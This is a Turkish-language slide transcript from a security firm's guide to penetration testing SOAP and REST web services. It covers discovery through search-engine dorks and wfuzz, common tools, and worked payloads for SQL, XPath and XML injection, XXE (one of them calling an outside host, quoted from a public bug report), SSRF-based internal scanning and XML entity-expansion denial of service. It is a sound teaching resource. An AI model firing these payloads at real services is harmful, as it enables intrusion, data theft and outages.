SlideShare a Scribd company logo
1 of 34
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Web Servislerine Yönelik Sızma Testleri
Fırat Celal ERDİK & Mert TAŞÇI
celal.erdik@bga.com.tr & mert.tasci@bga.com.tr
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
İçindekiler
Web Servislerine Yönelik Sızma Testleri
İçindekiler
Web Servislerine Yönelik Sızma Testleri
1 - Web Servisi Nedir ve Ne İçin Kullanılır?
2 - BGA Olarak Gözlemlediklerimiz
3 - Web Servis Keşfi
4 - Web Servislerine Yönelik Sızma Testlerinde Kullanılan Araçlar
5 - Web Servislerine Yönelik Sızma Testlerinde Karşılaşılan Zafiyetler
5.1 - Web Servislerde Injection Zafiyetleri
5.1.1 - SQL Injection Zafiyetleri
5.1.2 - XPath Injection Zafiyetleri
5.1.3 - XML Injection Zafiyetleri
5.1.4 - XXE Atağı
5.2 - Web Servislerinde Kontrol Zafiyetleri
5.2.1 - Yetkisiz Erişim Zafiyetleri
5.2.2 - Fonksiyonların Limitsiz Kullanımı
5.3 - Web Servislerde İş Mantığı Zafiyetleri
5.4 - Web Servislerinde Oturum Çalma Zafiyetleri
5.5 - Web Servislerinde SSRF Zafiyetleri
5.6 - Web Servislerinde DoS(Servis Dışı Bırakma) Zafiyetleri
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Web Servislerine Yönelik Sızma Testleri
1 - Web Servisi Nedir ve Ne İçin Kullanılır?
Web servis; masaüstü, web, mobil vb. herhangi bir yazılım tarafından kullanılması amaçlanan,
http protokolü üzerinden erişilen bir servistir.
İstemci tarafından web servise yapılan istekler sonucu, web servis uygun bir formatta(json, xml
vb.) cevabı dönecektir ve istemci dönen bu cevabı alarak dilediği şekilde son kullanıcıya
sunacaktır.
İlk olarak, web servis denildiğinde akla gelen bazı kavramlara değinilecektir.
SOAP web servis, XML formatında sunucu ile haberleşmemizi sağlamaktadır.
REST web servis, genellikle JSON formatında fakat XML formatında da haberleşmeyi
sağlayabilmektedir. GET, POST, PUT, DELETE gibi HTTP methodlarını kullanır.
WSDL, SOAP web servisleri için gerekli tanımlamaları yapan bir dildir ve SOAP web servisler
için kullanılması zorunludur. Fonksiyonlar, veri tipleri, fonksiyon açıklamaları gibi tanımlamaları
kullanıcıya sunmaktadır.(Nadiren de olsa REST web servisler için de kullandığı görülmüştür.)
WADL, tıpkı WSDL gibi web servis tanımlamalarının yapıldığı bir dildir. Genel olarak REST web
servisler için kullanılmaktadır.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
2 - BGA Olarak Gözlemlediklerimiz
BGA olarak gerçekleştirdiğimiz sızma testlerinde özellikle kurumların dışarıya açık kapıları olan
web uygulamalarını, dış IP bloklarını ve web servislerini detaylı bir şekilde test ediyoruz.
Yaptığımız sızma testlerinde, web servis kullanımının giderek arttığını, fakat web servis
geliştirilirken güvenliğin yeterince önemsenmediği gözlemliyoruz. Bu nedenle, web servislerinde
sık sık kritik güvenlik açıklıkları ile karşılaşıyoruz.
Bu yazıda kullanılan web servislerin tespit edilmesiyle birlikte sık karşılaşılan teknik ve
mantıksal açıklıklara değinilecektir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
3 - Web Servis Keşfi
• Uygulamaların kullandıkları web servisler,
• Bir proxy yazılımı ile araya girilerek, elde edilen tarafiğin incelenmesiyle
• Arama motorları aracılığıyla uygulama üzerinde tespit edilecek farklı açıklıkların
(directory listing, lfi vs.) suistimal edilmesiyle
• crawling, swf/jar benzeri dosyaların decompile edilmesiyle
• fuzzing testleri aracılığıyla
• belirlenebilmektedir.
Aşağıda bir .swf dosyasının, swf intruder aracıyla decompile edilerek, tespit edilen bir web
servis WSDL adresi görülmektedir.
Proxy yazılımları, uygulamaların kullandığı web servislerinin tespiti için kullanılabilmektedir.
Aşağıda BurpSuite kullanılarak capture edilen trafik üzerinde basit bir filtre ile web servis
adresleri belirlenmesi gösterilmiştir. “.dll?wsdl”, “.ashx?wsdl”, “.exe?wsdl” veya “.php?wsdl” vb.
ifadeler aratılarak da web servisler tespit edilebilir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Web servislerin tespit edilebileceği bir başka yol ise arama motorları kullanımıdır. Google
üzerinde web servisleri bulabileceğimiz bir payload aşağıda verilmiştir.
Search string: filetype:asmx inurl:(_vti_bin | api | webservice | ws )
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Search string: allinurl:dll?wsdl filetype:dll
Bing arama motoru üzerinden de aşağıdaki gibi bir payload ile web servisler tespit edilebilir;
Search string: asmx?wsdl site:us
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Aşağıdaki örenekte Wfuzz aracıyla web servislerinin tespit edilmesi için gerekli komut verilmiştir.
wfuzz -p 127.0.0.1:8080 -c --hc 404,XXX -z list,ws-webservice-webservisler -z
file,../general/common.txt -z file,ws-files.txt
http://webservices.example.com/FUZZ/FUZ2ZFUZ3Z
-p parametresi birden fazla proxy kullanarak, yükü dengelemek (loadbalance) için de
kullanılabilir. Son kullanılan proxy adresi tor networküne dahil edilmesidir.
-p IP:port-IP:port-IP:8088
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Burada “http response code” değerleri ile response boyutlarına bakılarak doğru servis adresi
bulunabilir. Yukarıdaki ekran görüntüsünden tespit edilen web servisine ait ekran görüntüsü
aşağıda verilmiştir:
“wsdl” adresleri bazen “?wsdl” şeklinde değil “.wsdl” şeklinde olabilmektedir. Arama yaplılırken
bunun göz önünde bulundurulması ve bu şekilde de arama yapılması önerilmektedir. Aşağıda
“.wsdl” içeren bir örnek verilmiştir:
Search String: filetype:wsdl
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
4 - Web Servislerine Yönelik Sızma Testlerinde Kullanılan
Araçlar
Web servislerinin kullandığı metotlara ait parametreler manipüle edilerek çeşitli teknik ve
mantıksal açıklıklar bulunabilir. Testlerde sıklıkla karşılaşılabilecek web servis çeşitleri ve bu
servisler üzerinde testler gerçekleştirilirken kullanılabilecek araçlar aşağıda verilmiştir.
Owasp Zed Attack Proxy için SOAP Scanner eklentisi indirilerek SOAP web servis testleri
yapılabilir.
URL veya bir WSDL adresi gösterilerek ilgili metotların yüklenmesi sağlanabilir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Aşağıdaki ekran görüntüsünde görüleceği üzere ilgili web servis üzerindeki tüm metotlar
listelenmiştir.
Örnek bir request:
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Örnek bir response:
Bir diğer örnek olarak, RESTful Web servis testleri için Firefox RESTClient eklentisi kullanılabilir.
RESTClient eklentisi yardımıyla POST ve GET metodları kullanılarak hedef sisteme sorgular
yapılabilmektedir. Ayrıca basic auth, custom header vb. ilave özellikleri de mevcuttur.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Web servis testleri için kullanılabilecek araçlarların listesi aşağıdaki gibidir:
Ø WebScarap
Ø SoapUI
Ø WCFStorm
Ø SOA Cleaner
Ø WSDigger
Ø wsScanner
Ø Wfuzz
Ø RESTClient
Ø BurpSuite
Ø WS-Attacker
Ø ZAP
Ø Metasploit
Ø WSDL Analyzer
Bu araçlar içerisinde SoapUI ve BurpSuite araçlarının birlikte kullanılması web servis testlerinde
oldukça başarılı sonuçlar vermektedir.
SoapUI aracının proxy kullanımına elverişli olması, BurpSuite proxy yazılımının da web servis
testlerini de destekliyor olması testlerde bu ikilinin tercih sebebi edilmesine sebep olmaktadır.
Şimdi bir örnek üzerinde, web servisini SoapUI ile açarak yaptığımız istekleri BurpSuite’e nasıl
düşüreceğimizi görelim.
SoapUI yazılımını açılarak yeni bir web SOAP projesi başlatılır. “Initial WSDL” bölümüne hedef
WSDL adresi yazılır. (Bu örnek için http://zero.webappsecurity.com/web-
services/infoService?wsdl adresinde bulunan ve vulnerable bir sistem olan bir web servis
kullanılacaktır.)
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Aşağıdaki resimde görüldüğü üzere web servis başarılı bir şekilde içeri aktarılabilmiştir. SoapUI
verilen WSDL adresini çözümleyerek web servise ait fonksiyonları ve istekleri oluşturmuştur.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
“File -> Preferences” yolunu takip ederek “Proxy Settings” bölümüne ve BurpSuite ile açtılan
arayüze(interface) ait bilgileri(ip:port) girilir.
Daha sonrasında herhangi bir fonksiyon kullanıldığında BurpSuite’in başarılı bir şekilde araya
girerek isteği yakaladığı görülmektedir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5 - Web Servislerine Yönelik Sızma Testlerinde Karşılaşılan
Zafiyetler
Bu bölümde web servis testlerinde karşılaşılan zafiyetlere değinilecektir.
Web servis testleri yaparken bilinen ve meydana gelebilecek tüm web uygulama zafiyetlerinin
testleri yapılmalıdır.
Örneğin; bir web uygulamasında keşfedilen “Kullanıcı Hesaplarının Tahmin Edilebilmesi(User
Enumeration)” veya “Yerel Dizin İfşası(Full Path Disclosure)” bulgularına bir web servis
içerisinde de rastlanılabilmektedir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5.1 - Web Servislerde Injection Zafiyetleri
5.1.1 - SQL Injection Zafiyetleri
Web servislerine yönelik sızma testlerinde karşılaşılan SQL Injection(SQLi) zafiyetlerinin normal
web testlerinde karşılaşılandan bir farkı yoktur.
Web servislerine ait tüm fonksiyonların tüm parametreleri detaylı bir şekilde incelenerek, SQLi
zafiyetinden etkilenip etkilenmediği kontrol edilmelidir.
SQLi zafiyeti için http://www.thomas-bayer.com/sqlrest/ adresinde bulunan ve vulnearable bir
sistem olan RESTful web servisi örnek olarak kullanılacaktır. SQLi zafiyetinin tespiti için Firefox
üzerindeki RESTClient eklentisi kullanılcaktır.
http://www.thomas-bayer.com/sqlrest/CUSTOMER/$id adresinde id parametresi yerine bazı
SQLi payloadları gönderilecek ve dönen cevaplar yorumlanacaktır.
$id yerine herhangi bir numerik değer yazıldığında (1,2,3 vb.) veritabanından bir kullanıcı
bilgisinin geldiği görülmektedir. Örneğin 23 değeri gönderildiğinde aşağıdaki cevabın geldiği
görülmüştür.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
23 yerine aşağıdaki payload yazılarak istek yapılmış ve aşağıdaki gibi bir cevabın döndüğü
görülmüştür.
Payload: 23 AND 1=1
http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20AND%201=1/
Herhangi bir hata sayfası ile karşılaşılmamış ve SQL tarafındaki mantıksal işlemin
gerçekleştirilmiş olduğu görülmektedir.
Payload olarak aşağıdaki payload kullanıldığında ise hata sayfası ile karşılaşılmaktadır.
Payload: 23 AND 1=0
http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20AND%201=0
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
SQL sorgusu koşulunu sağlamayan bir payload gönderildiğin de 404 cevabını verdiği fakat
sağlayan bir payload gönderildiğinde ise başarılı bir şekilde cevabı getirdiği görülmüştür.
Son olarak aşağıdaki payload gönderilmiş ve sistem üzerindeki tüm kullanıcı isimleri, dönen
cevap içerisinde görüntülenmiştir.
Payload: 23 OR 1=1
http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20OR%201=1
Bu şekilde manuel olarak SQLi tespiti için hedef sisteme ilk olarak aşağıdaki gibi basit
payloadlar gönderilerek gelen yanıtlar incelenip, ilgili fonksiyonun SQLi zafiyetini barındırıp
barındırmadığı kanaatine varılabilir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5.1.2 - XPath Injection Zafiyetleri
XPath, sunucu tarafında XML formatında saklanan veriler üzerinde sorgulama işlemi
yapılmasını sağlayan dildir.
string(//user[username/text()='bga' and password/text()='bga']/account/text())
Örneğin, yukarıdaki resimde bir XPath sorgusu verilmiştir. Bu sorguda kullanılan girdi alanına 1’
and ‘1’=’1 ve 1’ and ‘1’=’2 payloadı gönderilerek yorumlandığında, mantıksal işlemin
sağlandığı durumda “TRUE” yanıtının döndüğü fakat sağlanmadığı durumda “FALSE” yanıtının
döndüğü görülecektir.
Örnek olarak, https://github.com/snoopythesecuritydog/dvws/ uygulaması üzerindeki
XPATH Injection zafiyeti sömürülecektir.
Geliştiricinin aşağıdaki gibi bir PHP kodunu yazdığı görülmektedir.
Kod içerisinde okumuş olduğu “accountinfo.xml” dosyasının içeriği ise aşağıdaki gibidir:
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Sayfaya “bga:1234” kimlik bilgileri ile giriş yapmaya çalıştığımızda aşağıdaki gibi bir hata ile
karşılaşmaktayız.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Fakat kimlik bilgilerindeki kullanıcı adı ve şifre için 1' or '1' = '1 payloadı yazıldığında başarılı bir
şekilde giriş yapılabildiği görülmektedir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5.1.3 - XML Injection Zafiyetleri
XML formatında gönderilen veri içerisine XML düğümleri eklenilmesi ve sunucu tarafından
gelecek olan XML cevabın manipüle edilmesi işlemidir.
Input: 2
<product>
<name>Computer</name>
<count>2</count>
<price>200$</price>
</product>
Örneğin, yukarıda sunucuya gönderilen girdi değerinin cevap içerisinde count düğümünde
yazdığı görülmektedir.
Bu girdi değeri aşağıdaki gibi değiştirildiğinde price değerinin manipüle edildiği görülmektedir.
Input: 2</count><price>0$</price></product>
<product>
<name>Computer</name>
<count>2</count><price>0$</price></product>
...
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5.1.4 - XXE Atağı
Oluşturulan XML entity’nin bir XML düğüm içerisinde okunması amacıyla çağırılması
durumunda bu zafiyet tetiklenmektedir. Dosya okuma işlemi gerçekleştirilirken entity’e bir
adres(url) verilmektedir. XML’in sağladığı bu kolaylık kullanılarak local dosyaların okunma işlemi
gerçekleştirilebilmektedir.
Gönderilen XML payload örneği aşağıdaki gibidir:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
Bir güvenlik araştırmacısının QIWI.ru’nun SOAP web servisi üzerinde keşfettiği XXE zafiyeti
örnek olarak incelenecektir.
(Zafiyeti detaylı olarak anlatan rapora https://hackerone.com/reports/36450 adresinden
erişilebilir.)
Senaryo gereği saldırgan https://send.qiwi.ru/soapserver adresine yaptığı aşağıdaki istek ile
istediği bir web sayfasının kaynak kodlarını dönen cevap içerisine eklemektedir.
POST /soapserver/ HTTP/1.1
Host: send.qiwi.ru
Content-Type: application/x-www-form-urlencoded
Content-Length: 254
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY
xxe SYSTEM "https://bitquark.co.uk/?xxe">]>
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<getStatus>
<id>&xxe;</id>
</getStatus>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
XXE atağı ile ilgili daha fazla bilgi için aşağıdaki adres ziyaret edilebilir:
http://blog.bga.com.tr/2014/02/xxe-xml-external-entity-guvenlik.html
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5.2 - Web Servislerinde Kontrol Zafiyetleri
5.2.1 - Yetkisiz Erişim Zafiyetleri
Yapılan sızma testlerinden elde edilen istatiklere bakıldığında, yetkisiz erişim zafiyetine web
servislerinde çok daha fazla rastlanıldığını görülmüştür. Bunun temel sebebi geliştiricinin bir
saldırgan olarak düşünmemesi ve web servisin güvenli bir ortam olduğunu zannetmesidir.
Bu zafiyetin önüne geçmek için, isteklerin bir token değerine bağlı olarak yapılması gerekmekte
veya her istek için username ve password gibi bilgilerin sunucuya gönderilmesi gerekmektedir.
Web servisin sahip olduğu tüm fonksiyonlar için kullanıcı oturumunun sağlanması
gerekmektedir.
5.2.2 - Fonksiyonların Limitsiz Kullanımı
Çok karşılaşılan, diğre bir zafiyet ise web servise ait fonksiyonların limitsiz olarak
kullanılmasıdır. Bunlar başlıca aşağıdaki zafiyetlere sebebiyet vermektedir.
Ø Kaba kuvvet saldırısı
Ø Veritabanının doldurarak servis dışı bırakılması
Ø Kullanıcıya sunulan hakların düşünülenden fazla kullanılması
Ø Sunucuyu yormak ve DDoS saldırısı
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5.3 - Web Servislerde İş Mantığı Zafiyetleri
Bu zafiyet türleri web uygulamalarının bir standarda bağlı kalmamaları ve her geliştiricinin
geliştirdiği web uygulamasının farklı olmasından kaynaklanmaktadır. Bu farklılık geliştiricinin
düşünce yapısına göre veya kullandığı algoritmalar sonucunda ortaya çıkmaktadır.
Bu sebeple bu konu çok uzun ve sonu olmayan bir konu olmaktadır. Bir kaç örnek verilerek
detaylandırılacaktır.
Örnek olarak, Twitter’ın RESTful web servislerinde meydana gelen bir zafiyeti incelenecektir:
(Zafiyeti detaylı olarak anlatan rapora https://hackerone.com/reports/52646 adresinden
erişilebilir.)
Kullanıcı Twitter içerisinde kendi oluşturduğu bir direk mesajı(DM) silmektedir. DM’lerini
görüntülediğinde böyle bir mesajın artık olmadığını görmektedir.
Fakat https://dev.twitter.com/rest/tools/console adresinde bulunan konsol üzerinden REST
servise ait DM okuma fonksiyonuna, silinen DM’nin id değeri ile çağrı yapıldığında DM’nin
silindiği halde okunabildiğini görülmektedir.
Web servislerinde(mobil/tablet uygulamalar tarafından kullanılan) zaman zaman karşılaşılan bir
diğer zafiyet ise şifrenin sunucuya yapılan bazı istekler sonucu dönen cevap içerisinde
bulunmasıdır.
Geliştiricilerin bunu yapmasındaki temel amaç; şifreyi cihaz içerisinde depolayarak her seferinde
kullanıcıyı yormamak adına yerel veritabanı içerisinden yapılan sorgulama ile uygulamaya giriş
yapmaktır.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
BGA ekibi olarak bir mobil/tablet uygulamasına yaptığımız sızma testi esnasında, şifre sıfırlama
fonksiyonunun, cevap olarak yeni şifreyi istemci tarafına döndürdüğü ve bu şifreyi yeni şifre
olarak cihaz içerisine kaydettiği görülmüştür.
Türkiyenin önde gelen e-ticaret sitelerinden birine yaptığımız bir başka testte ise; mobil/tablet
uygulamanın kullandığı web servis wsdl’i tespit edilmiş ve içerisinde kullanıcı bilgilerini getiren
bir fonksiyona rastlanılmıştır. Fonksiyonun istemci tarafından yalnızca e-mail adresi alarak
istenilen kullanıcının bilgilerini getirdiği görülmüştür. Daha da kritik olan bir durum ise, bu
fonksiyonun yapılan isteğe döndüğü cevap içerisinde, web site içerisindeki kullanıcı parolasının
da olmasıdır. Böyle bir zafiyet ile mail adresi bilinen herhangi bir kullanıcının hesabı ele
geçirilebilmektedir.
Web servise ait fonksiyonlara dönülen cevaplar içerisinde bu gibi kritik verilerin taşınmaması
gerekmektedir. Saldırganlar web sitesi üzerinden yaptığı saldırılardan sonuç alamasa da, bu
gibi mobil/tablet uygulamalarına ait, keşfetmiş oldukları web servisler üzerinde bulunan
zafiyetler yardımıyla sisteme zarar verebilmektedirler.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5.4 - Web Servislerinde Oturum Çalma Zafiyetleri
Bu zafiyetler aynı ağ içerisinde bulunan kullanıcıların MITM saldırıları gerçekleştirerek ağı
koklamaları sonucunda, kullanıcıların oturumlarını sağlayan değerleri ele geçirmesi sonucu
ortaya çıkmaktadır.
Güvensiz bir protokol -HTTP- üzerinden yayınlanan web servisler bu zafiyete sebep olmaktadır.
Web servis her kullanıcının oturumunu sağlayacak bir SID(Session ID) değeri kullanarak bu
zafiyetin önüne geçebilir. Diğer bir çözüm de kullanıcının giriş yapmasını sağlayacak olan
bilgilerin tüm isteklerin içinde sunucuya aktarılması olabilir.
Web servis her kullanıcının oturumunu sağlayacak bir SID(Session ID) değeri kullanabilir veya
kullanıcının giriş yapmasını sağlayacak olan bilgilerin tüm istekler içerisinde sunucuya
aktarılması ile oturum sağlıyor olabilir.
SSL desteği olmayan bu web servisi kullanıcılarının, oturumlarının sağlandığı SID değerinin
çalınması durumunda ağ içerisindeki herhangi birinin saldırısına maruz kalabilir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5.5 - Web Servislerinde SSRF Zafiyetleri
SSRF(Server-Side Request Forgery) zafiyeti, saldırganın sunucu tarafına manipüle edilmiş -
sahte- istekler oluşturması ve dışarıdan yapılamayacak işlemleri dolaylı yoldan sunucuya
yaptırmasıdır.
Örneğin, port taramasına kapalı bir sunucunun portları, sunucu üzerinde bulunan SSRF zafiyeti
ile taranabilmektedir. Localdeki bir dosyanın okunmasını da imkan verebilmektedir. Bunlardan
başka SSRF zafiyeti bulunan sunucu üzerinden başka bir sunucuya DDoS atağı yapılmasını,
DNS sorgusu gönderilmesini de sağlayabilmektedir.
Örnek olarak https://github.com/snoopythesecuritydog/dvws/ uygulaması üzerinde bulunan
XXE zafiyetini sömürerek bazı yerel IP adreslerine istek yapacağız ve dönen cevabı analiz
edilecektir.
Sayfa içerisindeki “Print Greeting” butonuna tıklanıldığında sunucu tarafından bir mesaj
döndüğü görülmektedir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Yapılan istek BurpSuite ile yakalandığında ve bir XML datanın gönderildiği görülmüştür.
Gönderilen XML veri bir XXE payloadı ile değiştirilerek ağ içerisindeki bir makinenin varolup
olmadığına bakılabilmektedir.
Yerel ağ içerisinde alınmamış bir IP olan 192.168.1.10 adresini içeren bir payload hazırlanarak,
SSRF zafiyetini bulunduran sunucuya gönderilmiştir.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.10" >]><foo>&xxe;</foo>
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Sunucu böyle bir IP adresine erişemediği için aşağıdaki hata mesajını döndürmektedir.
Fakat yerel ağ içerisinde varolan 192.168.1.2 IP adresine bir istek yapıldığında herhangi bir hata
sayfasının gelmediği ve bu IP’nin erişilebilir bir IP olduğu görülmektedir.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.2" >]><foo>&xxe;</foo>
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
5.6 - Web Servislerinde DoS(Servis Dışı Bırakma) Zafiyetleri
İstemci tarafından gönderilen XML veriler sunucu tarafında bir XML parser yardımıyla
çözümlenir ve işlenir. İki tip XML çözümleyici(parser) bulunmaktadır. Bunlar SAX tabanlı ve
DOM tabanlı XML çözümleyicilerdir.
SAX tabanlı çözümleyiciler, çözümleme işlemi esnasında yapıları gereği bellekte maksimum 2
elementi tutmaktadırlar. Bu durumda servis dışı bırakma zafiyeti SAX tabanlı çözümleyiciler için
söz konusu olmamaktadır.
DOM tabanlı çözümleyiciler, istemci tarafından gelmiş olan tüm XML veriyi belleğe alır. Bu
sebeple bellek içerisinde çok büyük nesneler oluşmasına sebep olabilirler. Bu durumda, servis
dışı bırakma saldırıları bu çözümleyici için kaçınılmaz olmaktadır. XML’e ait düğüm, attribute
gibi değerlerin boyut ve adetlerinin kontrol edilmemesi durumu bunu tetiklemektedir.
Buna örnek olarak element adı üzerinden uygulanan saldırı aşağıdaki gibi olacaktır.
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
<BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA…
……BGABGABGABGABGABGABGABGABGABGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>
Attribute üzerinden uygulanan saldırı aşağıdaki gibi olacaktır.
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
<BGA
attribute=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA…
……BGABGABGABGABGABGABGABGABGABGA”></BGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Attribute sayısı üzerinden uygulanan saldırı aşağıdaki gibi olacaktır. (Aynı şekilde belli bir
elementin tekrar edilmesi durumu da olabilmektedir.)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
<BGA
attribute1=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BG
ABGABGABGABGABGABGABGABGABGA”
attribute2=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BG
ABGABGABGABGABGABGABGABGABGA”
attribute3=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BG
ABGABGABGABGABGABGABGABGABGA”></BGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>
Bir başka servis dışı bırakma zafiyeti ise XXE saldırılarının başarılı olduğu durumlarda
yapılabilmektedir.
[Web Servislerine Yönelik Sızma Testleri]
BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity
Entity kullanarak DDoS saldırısı yapan saldırgan aşağıdaki gibi bir payloadı kullanacaktır.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bga [
<!ELEMENT ANY >
<!ENTITY bga1 "bga1">
<!ENTITY bga2 "&bga1;&bga1;&bga1;&bga1;&bga1;&bga1;">
<!ENTITY bga3 "&bga2;&bga2;&bga2;&bga2;&bga2;&bga2;">
<!ENTITY bga4 "&bga3;&bga3;&bga3;&bga3;&bga3;&bga3;">
<!ENTITY bga5 "&bga4;&bga4;&bga4;&bga4;&bga4;&bga4;">
<!ENTITY bga6 "&bga5;&bga5;&bga5;&bga5;&bga5;&bga5;">
]>
<bga>&bga6;</bga>
Saldırgan bazı entityler tanımlamış ve en son durumda bga6’ı çağırmıştır.
Çağırılan bga6 varlığı içerisinde bga5 varlığını 6 defa çağırmıştır. Aynı şekilde her bir bga5
varlığında bga4 varlığını 6 defa çağırmıştır.
Bu varlık ve çağırım adetleri daha da artırılarak bir payload gönderildiğinde XML parser üzerine
düşen yük çok fazla olacak ve sunucu bir zamandan sonra cevap veremeyerek servis dışı
bırakma saldırısına maruz kalacaktır.

More Related Content

What's hot

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3BGA Cyber Security
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ BGA Cyber Security
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMABGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15BGA Cyber Security
 
